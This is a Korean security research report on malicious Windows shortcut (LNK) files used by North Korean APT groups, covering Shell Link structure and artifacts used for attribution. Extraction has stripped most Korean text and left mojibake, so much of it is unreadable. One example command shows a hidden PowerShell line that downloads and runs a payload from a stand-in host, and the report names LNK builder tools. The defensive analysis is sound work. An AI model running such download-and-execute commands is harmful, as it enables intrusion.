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2 L,(  8  APT   ( -09 -12, https://asec.ahnlab.com/ko/90103/  
3 L,(  7  APT   ( -08 -14, https://asec.ahnlab.com/ko/89578/  

https://asec.ahnlab.com/ko/90103/
https://asec.ahnlab.com/ko/89578/


 
 

 

.!3!. 

      

             

        . , Windows     

        .      

       PowerShell, cmd, mshta       

.              

. 

 

                  

   .  ,           

                

 .                ,  

 (IoC; Indicators of Compromise)           

. 

 

       .        

      ,  Google Drive, Dropbox, Github   

             

 .            , (IoC) 

         . 

 

 

[  3 ]          

 

                

   . ,              

     .      ,      

                 

.        ,      ,    

  ɘ ɘ (TTPs)        . 

  



 
 

 

.!4!. 

      

1.2.      

1)    

                

. 

 

,    ,   OSINT        . , 

MalwareBazaar, Google          YARA   

     .  ,        

  1,135      .         , 

          .   ,     

    ,            

   . 
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· Rewterz  Active IoCs  
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,      Microsoft       4    

  .   ShellLinkHeader, LinkTargetIDList, LinkInfo, StringData, ExtraData  

   ,         JSON    

.  LinkTargetIDList  ExtraData  Microsoft       

  ,             

   .     LnkParser3 5   ,     

              Python  . 

 

 
4  =±¥É¾Ê¾®Ì =L-L3<<4>; L°©ºº <±¼¹ <>; '±¼{ÉÙ 1±º© 1¾É»{Ì-06 -10, https://learn.microsoft.com/en -

us/openspecs/windows_protocols/ms -shllink/16cb4ca1 -9339 -4d0c -a68d -bf1d6cc0f943  
5 https://github.com/Matmaus/LnkParse3  

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943


 
 

 

.!5!. 

      

,        ,         

         .  , LinkFlag  , 

DriveSerialNumber, NTFS File Reference , MAC         

         .       

            .     

                

 . ,             Obsidian  

   .              

    . 

 

,                 

       .          

   ,               

 . 

 

2)    

             .     

             1,135    

 .               

      . 

 

,              ,  

         ,  ,      

   .              

. ,               

                  

    . 

 

              200   

    .           

          .  2025  6    

,  3           75%     2024  

     80%           6 . 

 
6      ,   -06 -04, 

https://www.kita.net/board/totalTradeNews/totalTradeNewsDetail.do?no=92368&siteId=1  

https://www.kita.net/board/totalTradeNews/totalTradeNewsDetail.do?no=92368&siteId=1


 
 

 

.!6!. 

      

 

[  4 ]        

 

,                

              . ,  

                 

     . 

  



 
 

 

.!7!. 

      

  

2.1.   ? 

  Windows     , ,  ,  ,   

      ,   º¼¹  .   ,  

,                

    . 

 

    , ,  ,  ,        , 
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2.2.     

    Shell Link  (Shell Link Binary File Format)  L°©ºº<±¼¹3©{§©É

<±¼¹N{É¯©Ì4*<±ÊÌ <±¼¹4¼®¾ LÌÉ±¼¯*{Ì{ ,ØÌÉ{*{Ì{ 5    ,    

  .    L°©ºº<±¼¹3©{§©É       , 

  L°©ºº<±¼¹3©{§©É <±¼¹1º{¯Ê   . 

 

        . 

 

[  2 ]        

    

ShellLinkHeader   
·   , Ɩ Ɩ         

   

LinkTargetIDList   
·             

 

LinkInfo   
·    ,         

    

StringData   
·              

,        

ExtraData   ·              

 

1)  ShellLinkHeader  

ShellLinkHeader              

.   , , LinkFlags        ,  

      . 

 

Windows  ShellLinkHeader           

   . ShellLinkHeader     . ShellLinkHeader     

              . 

 

[  3 ] ShellLinkHeader    

      

0  3 4 bytes  HeaderSize  ·   

4  19  16 bytes  LinkCLSID  ·   

20  23  4 bytes  LinkFlags  ·     



 
 

 

.!9!. 

      

24  27  4 bytes  FileAttributes  ·     

28 - 35  8 bytes  CreationTime  ·    (UTC) 

36  43  8 bytes  AccessTime  ·    (UTC) 

44  51  8 bytes  WriteTime  ·    (UTC) 

52  56  4 bytes  FileSize  ·     

56  59  4 bytes  IconIndex  ·    Index  

60  63  4 bytes  ShowCommand  ·     

64 - 65  2 bytes  HotKey  ·     

66 - 75  10 bytes  Reserved  ·  ( 0) 

 

 HeaderSize  

HeaderSize  ShellLinkHeader   ,  0x0000004C  . 

 

 LinkCLSID  

LinkCLSID      Shell Link        

.    00021401 -0000 -0000 -C000 -000000000046  . 

 

 LinkFlags  

LinkFlags          , ShellLinkHeader    

          . LinkFlags   32    

 ,   7       25    . LinkFlags    

   . 

 

[  4 ] LinkFlags    

    

1 HasLinkTargetIDList  · LinkTargetIDList   

2  HasLinkInfo  · LinkInfo   

3  HasName  · StringData  NameString   

4  HasRelativePath  · StringData  RelativePath   

5  HasWorkingDir  · StringData  WorkingDir   

6  HasArguments  · StringData  CommandLineArguments   

7  HasIconLocation  · StringData  IconLocation   
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8 IsUnicode  ·      7 

9  ForceNoLinkInfo  · LinkInfo    

10  HasExpString  · ExtraData  EnvironmentVariableDataBlock    

11  RunInSeparateProcess  ·   16bit      

12  UnUsed  ·     

13  HasDarwinID  · ExtraData  DarwinDataBlock   

14  RunAsUser  ·         

15  HasExpIcon  · ExtraData  IconEnvironmentDataBlock   

16  NoPidlAlias  
·  IDList        Shell 

Namespace    

17  UnUsed  ·     

18  RunWithShimLayer  · ExtraData  ShimDataBlock   

19  ForceNoLinkTrack  · ExtraData   TrackerDataBlock   

20  EnableTargetMetadata  
·    ExtraData  

PropertyStoreDataBlock   

21  DisableLinkPathTracking  · ExtraData   EnvironmentVariableDataBlock  

22  DisableKnownFolderTracking  
· ExtraData   KnownFolderDataBlock   

SpecialFolderDataBlock   

23  DisableKnownFolderAlias  
· ExtraData   KnownFolderDataBlock     

 IDList      

24  AllowLinkToLink  ·        

25  UnaliasOnSave  
·     IDList     ,    

  IDList    

26  PreferEnvironmentPath  

·  IDList    ExtraData   

EnvironmentVariableDataBlock      

    

27  KeepLocalIDListForUNCTarget  
·   UNC   ExtraData   

PropertyStoreDataBlock  IDList   

28  UnUsed  ·     

29  UnUsed  ·     

30  UnUsed  ·     

31  UnUsed  ·     

32  UnUsed  ·     

 

 

 
7      
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 FileAttributes  

FileAttributes       ,     .    

              . ,    

       . FileAttributes   32   ,   13   

    . FileAttributes       . 

 

[  5 ] FileAttributes    

   

1 FILE_ATTRIBUTE_READONLY  ·      

2  FILE_ATTRIBUTE_HIDDEN  ·      

3  FILE_ATTRIBUTE_SYSTEM ·       

4  Reserved  ·       

5  FILE_ATTRIBUTE_DIRECTORY  ·      

6  FILE_ATTRIBUTE_ARCHIVE  ·      

7  Reserved  ·       

8  FILE_ATTRIBUTE_NORMAL  ·       8 

9  FILE_ATTRIBUTE_TEMPORARY  ·      

10  FILE_ATTRIBUTE_SPARSE_FILE ·   0   Sparse File  

11  FILE_ATTRIBUTE_REPARSE_POINT  ·    Reparse Point    

12  FILE_ATTRIBUTE_COMPRESSED  ·     

13  FILE_ATTRIBUTE_OFFLINE  ·       

14  FILE_ATTRIBUTE_NOT_CONTENT_INDEXED  ·       

15  FILE_ATTRIBUTE_ENCRYPTED  ·     

16  UnUsed  ·     

17  UnUsed  ·     

18  UnUsed  ·     

19  UnUsed  ·     

20  UnUsed  ·     

21  UnUsed  ·     

22  UnUsed  ·     

23  UnUsed  ·     

24  UnUsed  ·     

 
8   1      0   
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2)  LinkTargetIDList  

LinkTargetIDList        , LinkFlags  

'HasLinkTargetIDList'     . LinkTargetIDList  IDList    

 2bytes  IDListSize  ItemID List     IDList   . 

 

[  6 ] LinkTargetIDList    

      

0  1 2 bytes  IDListSize  · IDList  

2 -  IDList  · ItemID List  

 

 

[  6 ] LinkTargetIDList   IDList  

 

 IDList      ,        ItemID  

    . IDList    ItemIDList     

TerminalID  . Term inalID    0   ItemID   . 

 

[  7 ] LinkTargetIDList  IDList  

      

0 -  ItemIDList  ·   ItemID  

 2 bytes  TerminalID  · ItemID   

 

 ItemID  Windows Shell   Shell Item       

ItemID  , ,          . ItemID   

 ItemIDSize       Data   , ItemIDData   Shell 

Item   .  Shell Item    Class Type       

   . 
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[  7 ] Shell Item  Class Type  ItemIDData   

 

 Root ItemID  

Root ItemID  Type  0x1F   , IDList     .  CLSID    

   20D04FE0 -3AEA -1069 -A2D8 -08002B30309D   . 

 

 VolumeItemID  

Volume ItemID  Type  0x2F   , Volume   . 

 

 Directory ItemID  

Directory ItemID  Type  0x3F   ,      . Directory 

ItemID  ExtraDataBlock        .  ExtraDataBlock  

 File Reference   6  MFT Entry ,  2  Sequence Number  . 
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[  8 ] Shell Item  ExtraDataBlock  FileReference  

 

 File ItmeID  

File ItemID  Type  0x32   , Directory ItemID    . 

 

 

3)  LinkInfo  

LinkInfo        ,         

 .   LinkFlags  3{Ê<±¼¹4¼®¾    . 

 

LinkInfo                 

.  LinkInfo          . 

 

LinkInfo     . LinkInfo             

      . 

 

[  8 ] LinkInfo    

      

0  3 4 bytes  LinkInfoSize  · LinkInfo  

4  7 4 bytes  LinkInfoHeaderSize  · LinkInfo   

8  11  4 bytes  LinkInfoFlags  · LinkInfo   

12  15  4 bytes  VolumeIDOffset  · VolumeID   

16  19  4 bytes  LocalBasePathOffset  · LocalBasePath   

20  23  4 bytes  CommonNetworkRelativeLinkOffset  · CommonNetworkRelativeLink   
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24  27  4 bytes  CommonPathSuffixOffset  · CommonPathSuffix   

28  31  4 bytes  LocalBasePathOffsetUnicode  · LocalBasePathUnicode   

32  35  4 bytes  CommonPathSuffixOffsetUnicode  · CommonPathSuffixUnicode   

36 -  VolumeID  ·      

  LocalBasePath  ·     

  CommonNetworkRelativeLink  ·      

  CommonPathSuffix  
· LocalBasePath     

   

  LocalBasePathUnicode  
· CommonPathSuffix     

   

  CommonPathSuffixUnicode  
· LocalBasePathUnicode    

    

 

 LinkInfoFlags  

LinkInfoFlags   2  32bit     LinkInfo   . 

 

[  9 ] LinkInfoFlags    

   

1 VolumeIDAndLocalBasePath  

· LinkInfo  VolumeID  LocalBasePath   

·  LinkInfoHeaderSize  0x24   

LocalBasePath  Unicode   

2  CommonNetworkRelativeLinkAndPathSuffix  · LinkInfo  CommonNetworkRelativeLink   

 

 VolumeID  

VolumeID       ,        . 

 

[  10 ] VolumeID    

      

0  3 4 bytes  VolumeIDSize  · VolumeID   

4  7 4 bytes  DriveType  ·       

8  11  4 bytes  DriveSerialNumber  ·        

12  15  4 bytes  VolumeLabelOffset  ·    

16  19  4 bytes  VolumeLabelOffsetUnicode  ·      

20   Data  ·    
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 CommonNetworkRelativeLink  

CommonNetworkRelativeLink         ,  

  UNC(Universal Naming Convention)     .    

             . 

 

[  11 ] CommonNetworkRelativeLink    

    

0  3 4 bytes  CommonNetworkRelativeLinkSize  · CommonNetworkRelativeLink   

4  7 4 bytes  CommonNetworkRelativeLinkFlags  · CommonNetworkRelativeLink    

8  11  4 bytes  NetNameOffset  · NetName   

12  15  4 bytes  DeviceNameOffset  · DeviceName   

16  19  4 bytes  NetworkProviderType  ·    

20  21  4 bytes  NetNameOffsetUnicode  · NetNameUnicode   

22  25  4 bytes  DeviceNameOffsetUnicode  · DeviceNameUnicode   

26 -  NetName  ·       

  DeviceName  ·    

  NetNameUnicode  ·      

  DeviceNameUnicode  ·      

 

4)  StringData  

StringData      ,           

   , LinkFlags        StringData     . 

 

[  12 ] StringData   

    LinkFlags  

1 NAME_STRING  ·     HasName  

2 RELATIVE_PATH  ·     HasRelatviePath  

3  WORKING_DIR  ·      HasWorkingDir  

4  COMMAND_LINE_ARGUMENTS  ·      HasArguments  

5  ICON_LOCATION  ·     HasIconLocation  
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[  9 ]     StringData    

 

 NAME_STRING  

LinkFlags  HasName             

. 

 

 COMMAND_LINE_ARGUMENTS  

LinkFlags  HasArguments      ,      

  . 

 

5)  ExtraData  

ExtraData    ,        ,   

       .          

    ,      . 

ExtraData       . ExtraData          

         . 
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[  13 ] ExtraData      

    

1 EnvironmentVariableDataBlock  0xA0000001  
·         ,  

     

2  ConsoleDataBlock  0xA0000002  ·         

3  TrackerDataBlock  0xA0000003  

·     , Windows  

Distributed Link Tracking      

  

4  ConsoleFEDataBlock  0xA0000004  
·      ,  

   

5  SpecialFolderDataBlock  0xA0000005  ·  ,         

6  DarwinDataBlock  0xA0000006  
·       WindowsInstaller 

    

7  IconEnvironmentDataBlock  0xA0000007  
·   ,      

          

8  ShimDataBlock  0xA0000008  · Windows        

9  PropertyStoreDataBlock  0xA0000009  ·     (ex.  SID)   

10  KnownFolderDataBlock  0xA000000B  
· , , ,        

 

11  VistaAndAbo veIDListDataBlock  0xA000000C  
· Windows Vista      

,   IDList   

 

 TrackerDataBlock  

TrackerDataBlock                

  .  Windows     (Distributed Link Tracking, DLT) 9   

 . 

 

[  14 ] TrackerDataBlock    

    

0  3 4 bytes  BlockSize  · TrackerDataBlock   

4  7 4 bytes  BlockSignature  · TrackerDataBlock    

8  11  4 bytes  Length  · Length    (  0x00000058 ) 

12  15  4 bytes  Version  ·  0x00000000   

16  31  16 bytes  MachineID  ·      

 
9     (Distributed Link Tracking, DLT) : NTFS          

  Windows   
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32  63  32 bytes  Droid  ·   UUID  (File/Volume)  

64  95  32 bytes  DroidBirth  ·      UUID  (File/Volume)  

 

 PropertyStoreDataBlock  

PropertyStoreDataBlock            , 

Windows Vista         . 
 

[  15 ] PropertyStoreDataBlock    

    

0  3 4 bytes  BlockSize  · PropertyStoreDataBlock   

4  7 4 bytes  BlockSignature  · PropertyStoreDataBlock    

8 -  PropertyStore  ·       

 

  PROPERTY_STORE   ,  Store     . 
 

[  16 ] PropertyStore   

   

1 format_id  ·     GUID  

2 serialized_property_values  ·     

3  version  ·  0x53505331   

4  storage_size  ·      

 

, format_id  "46588AE2 -4CBC -4338 -BBFC-139326986DCE"    User  , 

     SID  . 

 

 

[  10 ] PROPERTY_STORE   
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2.3.      

       ,        

          .        

,                  

   . 

 

1)         

      ɘ ɘ        , 

       ,        

   . ,            

   .   cmd.exe, powershell.exe, mshta.exe     

     . ,           

     ,   ,         

    . 

 

[  17 ]        

  

 

  ·     (ex: MS Office ,   ,  ) 

   ·      

   ·      

 

  
· cmd.exe, powershell.exe, mshta.exe        

  ,        

   ·    

   ·           

 

[  11 ]        
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       StringData  (@== >* <4>, K2O=,>NL

 .              , 

         .  ,       . 

 

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "IEX (New -Object 

Net.WebClient).DownloadString( 'http://malicious[.]site/payload.ps1 ')" 

 

         PowerShell     

       .        

       . 

 

[  18 ]        

    

1      
·           

    

2       
· Google Drive, Dropbox, MEGA, Github     

URL          

3   /    
·          

      

 

            .  ,  

       ,         

           .      

         ,    

    . 

 

2)      

,             .  

     .         

  .  , Word, Excel, PDF           

    . 

 

, Windows  º¼¹        §¾¥Í»©¼Ì Æ§® º¼¹ 

       .    §¾¥Í»©¼Ì Æ§®   

         . 
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[  12 ]       

 

             , 

          . 

 

3)       

            ,  

               . 

 

    Windows     GUI     

          .    

 ,           . 

 

 

[  13 ] Windows         
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,                 

   .   lnk2pwn 10 , LNKUp 11 , Lnk_Generator    

  , ,               

  . 

 

 

[  14 ] lnk2pwn       

 

      Quantum Builder, MLNK Builder     GUI 

    ,  , UAC ,     .  

 .lnk, .hta, .vbs , .iso              

  .  Quantum Builder  AgentTelsa  RedLine Stealer     

  12 , MLNK Builder  4.2           

    13 . 

 

 

[  15 ]         

 
10  https://github.com/it -gorillaz/lnk2pwn  
11  https://github.com/Plazmaz/LNKUp  
12  (['<, JÍ{¼ÌÍ» L¾®ÌÓ{É© <>; ®±º©-¤{Ê©§ ¤Í±º§©ÉÊ ¯É¾Ó±¼¯ ±¼ Æ¾ÆÍº{É±ÌÙ-06 -22,  

https://cyble.com/blog/quantum -software -lnk -file -based -builders -growing -in-popularity/  
13  KÊ©¥ÍÉ±ÌÙ L°¾ÉÌ¥ÍÌ-¤{Ê©§ <>; {ÌÌ{¥¹Ê §©º±Ò©É±¼¯ »{º±¥±¾ÍÊ ¥¾§© ¾¼ Ì°© É±Ê©-07 -17,  

https://www.resecurity.com/blog/article/shortcut -based -lnk -attacks -delivering -malicious -code -on -the -rise  

https://github.com/it-gorillaz/lnk2pwn
https://github.com/Plazmaz/LNKUp
https://cyble.com/blog/quantum-software-lnk-file-based-builders-growing-in-popularity/
https://www.resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise
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    . ,     ~       

     , ,          

  . 

 

4)         

     ,          

   1,135           .    

Shell Link Header   LinkFlags   ,        

             ,      

       . 

 

LinkFlags      ,      4ÊO¼±¥¾§©  

   97%   .            

, Windows 2000           

  . 

 

,  92%   3{Ê4¥¾¼<¾¥{Ì±¾¼, 90%  HasArguments   .  

                

        . 

 

 3{Ê<±¼¹N{É¯©Ì4*<±ÊÌ 3{ÊK©º{Ì±Ò©H{Ì° 60%  .    

                ID  

    . 

 

 

[  16 ]     LinkFlags   5  
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3.1.         

      (IoC)        

      .          

              . 

 

       . ,         

   , ,          .    

   ,           , , 

  . 

 

[  19 ]       

   

      ·     ,     

    ·     ,       

   ·         

 

 , ExtraData   TrackerDataBlock   MachineID       

  ,         . , ExtraData   

PropertyStoreDataBlock  PropertyStoreList    SID        

 ,        . 

 

[  20 ]          

        

 

LinkFlags  · ShellLinkHeader  ·     

FileReference  

· LinkTargetIDList   ItemID  

řFolder/File Entry Ś     

FileReference  

·      

  MFT Entry  Sequence 

 

SID 

· ExtraData   

PropertyStoreDataBlock  

PropertyStoreList  

·     SID 

 

VolumeID  
· ExtraData   TrackerDataBlock  

BirthDroidVolumeIdentifier  

·      

    

FileID  
· ExtraData   TrackerDataBlock  

BirthDroidFileIdentifier  

·      
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DriveSerialNumber  
· LinkInfo   VolumeID  

DriveSerialNumber  
·      

 

MAC  
· ExtraData   TrackerDataBlock  

BirthDroidFileIdentifier  
·     MAC  

MachineID  
· ExtraData   TrackerDataBlock  

MachineID  
·     

 

        ,        

         .         

       . 

 

             ,     

       .      ,  , 

           . 

 

1)  LinkFlags  

 2.3                

   .        LinkFlags      

  ,          . 

 

LinkFlags  Shell Link Header    ,        

  .  , HasArguments    , HasIconLocation   

  . LinkFlags   32   25   ,      

      ,         .  

 

,      HasArguments, HasIconLocation, IsUnicode    

,        LinkFlags     

0.00002384%   .  LinkFlags         . 

 

 , Windows   GUI ,  (lnk2pwn),  (Quantum Builder)   

        LinkFlags          

      . 

 

 

 



 
 

 

.!27!. 

      

[  21 ]       LinkFlags   

   LinkFlags  

Windows GUI    ·     

HasLinkTargetIDList, HasLinkInfo, 

HasRelativePath, HasWorkingDir, 

HasArguments, HasIconLocation, 

IsUnicode , HasExpIcon, 

EnableTargetMetaData  

lnk2pwn    
· JAVA  Python   

 

HasLinkTargetIDList, HasLinkInfo, 

HasWorkingDir, HasArguments, 

HasIconLocation, IsUnicode  

Quantum Builder     
· GUID ,   

  

HasLinkTargetIDList, HasLinkInfo, 

HasRelatvePath, HasArguments, 

HasIconLocation, IsUnicode  

 

LinkFlags                

     .           

LinkFlags     ,           . 

,               

 . 

 

2)  FileReference  

         ,   LinkTargetIDList   

ItemID  1¾º§©É ,¼ÌÉÙ 1±º© ,¼ÌÉÙ .   NTFS     

  File Reference    . ,         

       14  NTFS     . 

 

FileReference  NTFS         ,   

MFT Entry  6bytes  Sequence  2bytes    8bytes . ,      

                

. 

 

 
14  º±¤®ÓÊ± U±¼§¾ÓÊ L°©ºº 4Ì©» ®¾É»{Ì ÊÆ©¥±®±¥{Ì±¾¼-12 -11, 

https://github.com/libyal/libfwsi/blob/main/documentation/Windows%20Shell%20Item%20format.asciidoc#extensio

n_block_0xbeef004  (  : 2024 -03 -18)  

https://github.com/libyal/libfwsi/blob/main/documentation/Windows%20Shell%20Item%20format.asciidoc#extension_block_0xbeef004
https://github.com/libyal/libfwsi/blob/main/documentation/Windows%20Shell%20Item%20format.asciidoc#extension_block_0xbeef004
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[  17 ] FileReference   

 

               

     FileReference  . ,     

       FileReference    ,     

PC      . 

 

[  22 ]       FileReference   

   
    

Windows  System32  cmd.exe  

FileReference  
A 2301 -1 3938 -1 55562 -1 

B 515 -1 3286 -1 45929 -1 

 

 FileReference        ,     

     . ,        

FileReference               . 

 

3)   SID 

  ExtraData      ,   PropertyStoreDataBlock  

Windows Shell  , ,            

.    HÉ¾Æ©ÉÌÙLÌ¾É©<±ÊÌ   ,    formatID    

.   formatID  ,-4CBC -4338 -BBFC- *(,  value  

     SID  . 

¶ form atID  46588AE2 -4CBC -4338 -BBFC-139326986DCE  ,  VT_LPWSTR  

  SID ,   Windows 7       

 

 SID  Security Identifier  ,          

  .  SID     ,       

  . 



 
 

 

.!29!. 

      

 

[  18 ] Windows SID  

 

SID               ɘ  

    .       SID        

       . 

 

,      SID        PC   

         .   SID    

          . 

 

4)  VolumeID  FileID  

  ExtraData   TrackerDataBlock       

        .       GUID  ,  

    . 

 

[  23 ] TrackerDataBlock        

· BirthDroidFileIdentifier  

· BirthDroidVolumeIdentifier  

· DroidFileIdentifier  

· DroidVolumeIdentifier  

 

  '±ÉÌ°*É¾±§        *É¾±§   

         .        

 . 

 

 

[  19 ] TrackerDataBlock       
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  Windows  (Link Tracking)    ,     

       15 .   BirthDroid     

               

. 

 

, BirthDroidFileIdentifier  BirthDroidVolumeIdentifier        

   ,        . , Droid*   

              

. 

 

[  24 ] VolumeID  FileID     

        

ṉ BirthDroidFileIdentifier  ·        

TrackerDataBlock  GUID  
ṉ BirthDroidVolumeIdentifier  ·       

 DroidFileIdentifier  ·        

 DroidVolumeId entifier  ·        

 

 BirthDroid *       ,       

  . ,     TrackerDataBlock     

   GUID      . , BirthDroid    

    ,         

 .    BirthDroid      ,    

       ,       

     . 

 

5)  DriveSerialNumber (VolumeSerialNumber)  

  LinkInfo         VolumeID  ,  

    DriveSerialNumber  .        

  , 8  16   . 

 

 
15  =±¥É¾Ê¾®Ì *±ÊÌÉ±¤ÍÌ©§ <±¼¹ NÉ{¥¹±¼¯ {¼§ @¤·©¥Ì 4§©¼Ì±®±©ÉÊ-12 -31, https://learn.microsoft.com/en -

us/windows/win32/fileio/distributed -link -tracking -and -object -identifiers  

https://learn.microsoft.com/en-us/windows/win32/fileio/distributed-link-tracking-and-object-identifiers
https://learn.microsoft.com/en-us/windows/win32/fileio/distributed-link-tracking-and-object-identifiers
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DriveSerialNumber   Ò¾º ®ÊÍÌ±º ®Ê±¼®¾ Ò¾ºÍ»©±¼®¾    ,    

     .        ,   

      , LinkInfo     . 

 

 

[  20 ] VolumeID   DriveSerialNumber  

 

  Windows        ,    

      . ,       DriveSerialNumber  

  ,          . 

 

 DriveSerialNumber  Ò¾ºÍ»©±§  16     ,    

       . 

 

 

[  21 ] volumeid   DriveSerialNumber   

 
16  https://learn.microsoft.com/ko -kr/sysinternals/downloads/volumeid  

https://learn.microsoft.com/ko-kr/sysinternals/downloads/volumeid
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  DriveSerialNumber          

 ,              

   . , FileReference,  SID        ,   

        . 

 

6)  MAC  

  ExtraData   TrackerDataBlock         

       .   BirthDroidFileIdentifier, BirthDroidVolumeIdentifier, 

DroidFileIdentifier, DroidVolumeIdentifier    GUID  ,  GUID    UUID 

 1   ,      MAC  . 

¶ UUID(Universally Unique Identifier)  GUID(Globally Unique Identifier)   16bytes   

 ,    . , UUID  IETF  RFC 4122    , 

   . , GUID  Microsoft    , COM   

 Windows   . ,         GUID  

 ,      UUID   . 

 

UUID   16bytes   ,  -4-4-4-  . UUID     

   ,      1    . UUID  1    ,  

    MAC     17 . 

 

 

[  22 ] UUID  MAC   (UUID 1   ) 

 

 ,    BirthDroidFileIdentifier      GUID     

,1 ,      UUID   1  .  12  ( *(  

 MAC   ,  MAC     00 -0C-29 -DC-9A-49    

. 
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https://datatracker.ietf.org/doc/html/rfc4122  

https://datatracker.ietf.org/doc/html/rfc4122
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[  23 ] BirthDroidFileIdentifier   MAC   

 

MAC       48bit ,    

       . ,   OUI(Organizationally Unique 

Identifier)               . 

 

,    MAC      MAC     

 ,       . 
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[  24 ]    MAC    

 

   MAC     SID, FileReference, VolumeID      

       . 
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7)  MachineID  

  ExtraData   TrackerDataBlock        

MachineID  .    Windows     ,  

       . 

 

 

[  25 ] ExtraData  TrackerDataBlock  MachineID  

 

MachineID      ,      .   

      ,       

Machine ID              . 

 

, MachineID  Windows    PC          

, SID  VolumeID        . 
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[  26 ] Windows   ř  PC  Ś   MachineID  

 

,   MachineID        ,    

  FileReference, VolumeID, SID        . 
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3.2.          

 3.1                 

.         1,135        

        . 

 

        ,       . , 

   Obsidian          ,   , 

       . 

 

 

[  27 ]           
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1)  LinkFlags   

       LinkFlags        . 

  LinkFlags        ,       

    . ,      ,  LÌÉÍ¥Ì 

   .  3{Ê>{»©   3 3{Ê É¯Í»©¼ÌÊ  6   

     LÌÉÍ¥Ì   .      LinkFlags 

         . 

 

    Obsidian           LinkFlags 

  ,  LinkFlags      . 

 

 

[  28 ] Obsidian       LinkFlags  
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,       LinkFlags   5   . 

 

 

[  29 ]    LinkFlags    ŕ  5  

[  25 ]    LinkFlags  

 Struct ID   LinkFlags    

Struct_36781024  
· HasName, HasArguments, HasIconLocation, IsUnicode, 

HasExpString, PreferEnviromentPath  
177  

Struct_1467814  
· HasTargetIDList, HasRelativePath, HasArguments, 

HasIconLocation, IsUnicode, RunAsUser  
158  

Struct_13467814  
· HasTargetIDList, HasName, HasRelativePath, HasArguments, 

HasIconLocation, IsUnicode, RunAsUser  
61  

Struct_12456781014  

· HasTargetIDList, HasLinkInfo, HasRelativePath, 

HasWorkingDir, HasArguments, HasIconLocation, IsUnicode, 

HasExpString, RunAsUser  

38  

Struct_14678  
· HasTargetIDList, HasRelativePath, HasArguments, 

HasIconLocation, IsUnicode, RunAsUser  
36  

 

   Struct_36781024           

    .  %APPDATA%         

     . ,          

        . 
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   Struct_1467814       Struct_36781024  

              . 

                

. 

 

  LinkFlags             

     .  LinkFlags       

              

 . 

 

     Struct_36781024           

       .        

                 

 . 

 

 

[  30 ] Struct_36781024           
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2)          

           ,    

          .        

               1±º©K©®©É©¼¥© 

 L4*    . 

 

 FileReference   

 1,135      FileReference      . FileReference  

    , MFT       ,    

          . 

 

       FileReference     ,   

FileReference   VolumeID, DriveSerialNumber, MAC , VolumeID, FileID     

    .           

       . 

 

 

[  31 ]        ŕ FileReference  (1) 
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, FileReference         .    

    FileReference   ,     DriveSerialNumber  

VolumeID  .  FileID  MAC          

  . , MAC   OUI(Organizationally Unique Identifier)    

    ,       . 

 

 

[  32 ]        ŕ FileReference  (2) 

 

  SID   

FileReference        SID   .   SID 

       ,     DriveSerialNumber, VolumeID, 

MAC , MachineID             

. 
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[  33 ]        ŕ  SID  (1) 

 

,  SID           .    

  PC    SID      DriveSerialNumber  VolumeID  

.  FileID, MAC , MachineID           

,     . 

 

 

[  34 ]        ŕ  SID  (2) 
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 DriveSerialNumber   

  DriveSerialNumber          .  , 

VolumeID  DriveSerialNumber   MachineID, MAC ,  SID      

. 

 

 

[  35 ]        ŕ DriveSerialNumber  

 

, SID               

 , SID     vSphere            

 SID        . 

 

 

[  36 ]  (vSphere)      SID   
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3)  LinkFlags       

  LinkFlags           

    . , FileReference,  SID, DriveSerialNumber   

     MAC , MachineID, FileID, VolumeID      

        . 

 

         LinkFlags         

.          ,     

        . 

 

 ,    LinkFlags   DriveSerialNumber,  SID, MAC , 

MachineID         .       

         . 

 

 

[  37 ]        ŕ LinkFlags      (1) 
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,  Struct ID  LÌÉÍ¥Ì       LinkTargetIDList  

 =Ù (¾»ÆÍÌ©É\Windows \System32 \WindowsPowerShell \v1.0 \Æ¾Ó©ÉÊ°©ºº ©Ø©  

.   FileReference   0-0   ,  SID     . 

     FileReference   -     ,  SID  

        . ,       

       . 

 

 

[  38 ]        ŕ LinkFlags      (2) 

 

,  SID, FileReference, VolumeID, FileID, DriveSerialNumber, MAC , MachineID  

      LinkFlags     .     

           ,    

           . 
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[  39 ]        ŕ LinkFlags      (3) 

 

 

3.3.         

  3.1      3.2          

           . 

 

  1,135       ,  ,      

    ,      215 .     Kimsuky 75 , 

Konni 61 , Scarcruft 70 ,      9  . 

 

[  26 ]           

Kimsuky  Konni  Scarcruft  Unknown   

75  61  70  9  215  

 

            APT37, APT43, Velvet Cheonlima, 

Reaper    ,         Kimsuky, 

Konni, Scarcruft    . 
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   3.2   (1) LinkFlags   , (2)        , 

(3) LinkFlags        ,        

              . 

 

1)  LinkFlags    

 3.2                 

   21 5   LinkFlags   .   LinkFlags    , 

        . 

 

 

[  40 ]       LinkFlags    

 

  






























